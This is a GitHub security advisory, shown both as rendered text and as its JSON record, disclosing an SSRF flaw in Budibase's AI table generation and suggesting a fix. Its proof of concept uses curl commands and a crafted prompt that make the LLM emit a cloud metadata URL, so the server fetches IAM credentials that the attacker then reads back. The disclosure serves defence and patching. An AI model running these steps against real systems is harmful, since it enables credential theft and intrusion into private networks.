GHSA-HFHX-W8P8-4HC7
Vulnerability from github – Published: 2026-07-24 21:44 – Updated: 2026-07-24 21:44Budibase: SSRF via bare fetch() in uploadUrl during AI table generation
Summary
The uploadUrl() function in packages/server/src/utilities/fileUtils.ts uses a bare fetch(url) call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).
A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When generateRows() calls processAttachments(), these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.
This is a variant of the same class of issue addressed in other Budibase code paths where fetchWithBlacklist() is correctly used to prevent SSRF.
Affected Versions
<= 3.39.0 (current lerna.json version at time of analysis)
Vulnerability Details
Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check
// packages/server/src/utilities/fileUtils.ts:21-23
export async function uploadUrl(url: string): Promise<Upload | undefined> {
try {
const res = await fetch(url) // No blacklist validation
This is called from:
// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114
async function processAttachments(
entry: Record<string, any>,
attachmentColumns: FieldSchema[]
) {
function processAttachment(value: any) {
if (typeof value === "object") {
return uploadFile(value)
}
return uploadUrl(value) // String values treated as URLs, fetched without protection
}
Which is triggered via generateRows() at line 34:
// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34
await processAttachments(entry, attachmentColumns)
Compare with correct sibling: processUrlFile() in extract.ts
// packages/server/src/automations/steps/ai/extract.ts:139-144
async function processUrlFile(
fileUrl: string,
fileType: SupportedFileType,
llm: LLMResponse
): Promise<ExtractInput> {
const response = await fetchWithBlacklist(fileUrl) // Correct: uses blacklist
The fetchWithBlacklist() function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:
// packages/server/src/automations/steps/utils.ts:100-112
export async function fetchWithBlacklist(
url: string,
request: RequestInit = {}
): Promise<Response> {
const maxRedirects = 5
let nextUrl = url
// ...
for (let redirects = 0; redirects <= maxRedirects; redirects++) {
await throwIfBlacklisted(nextUrl) // Validates against private IP ranges
const response = await fetch(nextUrl, nextRequest)
Proof of Concept
Prerequisites: Builder-level authentication, AI feature enabled on the instance.
# Step 1: Authenticate as builder
TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \
-H 'Content-Type: application/json' \
-d '{"username":"builder@example.com","password":"password123"}' \
-c - | grep budibase:auth | awk '{print $NF}')
# Step 2: Create an app with a table that has an attachment column
APP_ID="app_dev_xxxx" # Use existing app
# Step 3: Use the AI table generation endpoint with a prompt designed to
# produce internal URLs as attachment values.
# The LLM will generate rows with attachment column values pointing to
# internal services.
curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \
-H "Content-Type: application/json" \
-H "Cookie: budibase:auth=$TOKEN" \
-d '{
"prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}'
# The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
# which fetches the cloud metadata endpoint without any SSRF protection.
# The response content is saved to object storage and a URL is returned in the row data.
# Step 4: Read the created row to exfiltrate the metadata response
curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \
-H "Cookie: budibase:auth=$TOKEN"
# The attachment URL in the response points to the saved metadata content
Impact
- Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)
- Internal service enumeration and data exfiltration from private network resources
- Port scanning of internal infrastructure via timing/error differences
- Bypass of network segmentation when Budibase is deployed in a DMZ or VPC
Suggested Remediation
Replace the bare fetch() in uploadUrl() with fetchWithBlacklist():
// packages/server/src/utilities/fileUtils.ts
import fs from "fs"
-import fetch from "node-fetch"
import path from "path"
import { pipeline } from "stream"
import { promisify } from "util"
import * as uuid from "uuid"
import { context, objectStore } from "@budibase/backend-core"
import { Upload } from "@budibase/types"
import { ObjectStoreBuckets } from "../constants"
+import { fetchWithBlacklist } from "../automations/steps/utils"
// ...
export async function uploadUrl(url: string): Promise<Upload | undefined> {
try {
- const res = await fetch(url)
+ const res = await fetchWithBlacklist(url)
const extension = [...res.url.split(".")].pop()!.split("?")[0]
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.38.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T21:44:44Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Budibase: SSRF via bare fetch() in uploadUrl during AI table generation\n\n## Summary\n\nThe `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).\n\nA builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.\n\nThis is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF.\n\n## Affected Versions\n\n\u003c= 3.39.0 (current `lerna.json` version at time of analysis)\n\n## Vulnerability Details\n\n### Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check\n\n```typescript\n// packages/server/src/utilities/fileUtils.ts:21-23\nexport async function uploadUrl(url: string): Promise\u003cUpload | undefined\u003e {\n try {\n const res = await fetch(url) // No blacklist validation\n```\n\nThis is called from:\n\n```typescript\n// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114\nasync function processAttachments(\n entry: Record\u003cstring, any\u003e,\n attachmentColumns: FieldSchema[]\n) {\n function processAttachment(value: any) {\n if (typeof value === \"object\") {\n return uploadFile(value)\n }\n\n return uploadUrl(value) // String values treated as URLs, fetched without protection\n }\n```\n\nWhich is triggered via `generateRows()` at line 34:\n\n```typescript\n// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34\n await processAttachments(entry, attachmentColumns)\n```\n\n### Compare with correct sibling: processUrlFile() in extract.ts\n\n```typescript\n// packages/server/src/automations/steps/ai/extract.ts:139-144\nasync function processUrlFile(\n fileUrl: string,\n fileType: SupportedFileType,\n llm: LLMResponse\n): Promise\u003cExtractInput\u003e {\n const response = await fetchWithBlacklist(fileUrl) // Correct: uses blacklist\n```\n\nThe `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:\n\n```typescript\n// packages/server/src/automations/steps/utils.ts:100-112\nexport async function fetchWithBlacklist(\n url: string,\n request: RequestInit = {}\n): Promise\u003cResponse\u003e {\n const maxRedirects = 5\n let nextUrl = url\n // ...\n for (let redirects = 0; redirects \u003c= maxRedirects; redirects++) {\n await throwIfBlacklisted(nextUrl) // Validates against private IP ranges\n const response = await fetch(nextUrl, nextRequest)\n```\n\n## Proof of Concept\n\nPrerequisites: Builder-level authentication, AI feature enabled on the instance.\n\n```bash\n# Step 1: Authenticate as builder\nTOKEN=$(curl -s -X POST \u0027http://TARGET:10000/api/global/auth/default/login\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"builder@example.com\",\"password\":\"password123\"}\u0027 \\\n -c - | grep budibase:auth | awk \u0027{print $NF}\u0027)\n\n# Step 2: Create an app with a table that has an attachment column\nAPP_ID=\"app_dev_xxxx\" # Use existing app\n\n# Step 3: Use the AI table generation endpoint with a prompt designed to\n# produce internal URLs as attachment values.\n# The LLM will generate rows with attachment column values pointing to\n# internal services.\ncurl -X POST \"http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Cookie: budibase:auth=$TOKEN\" \\\n -d \u0027{\n \"prompt\": \"Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n }\u0027\n\n# The server will call uploadUrl(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")\n# which fetches the cloud metadata endpoint without any SSRF protection.\n# The response content is saved to object storage and a URL is returned in the row data.\n\n# Step 4: Read the created row to exfiltrate the metadata response\ncurl -X GET \"http://TARGET:10000/api/$APP_ID/rows?tableId=\u003ctable_id\u003e\" \\\n -H \"Cookie: budibase:auth=$TOKEN\"\n# The attachment URL in the response points to the saved metadata content\n```\n\n## Impact\n\n- Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)\n- Internal service enumeration and data exfiltration from private network resources\n- Port scanning of internal infrastructure via timing/error differences\n- Bypass of network segmentation when Budibase is deployed in a DMZ or VPC\n\n## Suggested Remediation\n\nReplace the bare `fetch()` in `uploadUrl()` with `fetchWithBlacklist()`:\n\n```typescript\n// packages/server/src/utilities/fileUtils.ts\nimport fs from \"fs\"\n-import fetch from \"node-fetch\"\nimport path from \"path\"\nimport { pipeline } from \"stream\"\nimport { promisify } from \"util\"\nimport * as uuid from \"uuid\"\n\nimport { context, objectStore } from \"@budibase/backend-core\"\nimport { Upload } from \"@budibase/types\"\nimport { ObjectStoreBuckets } from \"../constants\"\n+import { fetchWithBlacklist } from \"../automations/steps/utils\"\n\n// ...\n\nexport async function uploadUrl(url: string): Promise\u003cUpload | undefined\u003e {\n try {\n- const res = await fetch(url)\n+ const res = await fetchWithBlacklist(url)\n\n const extension = [...res.url.split(\".\")].pop()!.split(\"?\")[0]\n```",
"id": "GHSA-hfhx-w8p8-4hc7",
"modified": "2026-07-24T21:44:44Z",
"published": "2026-07-24T21:44:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-hfhx-w8p8-4hc7"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/pull/18866"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/commit/72e602d68daeebe3b95b0ed87acd351a38e327d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/releases/tag/3.39.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Budibase: SSRF via bare fetch() in uploadUrl during AI table generation"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.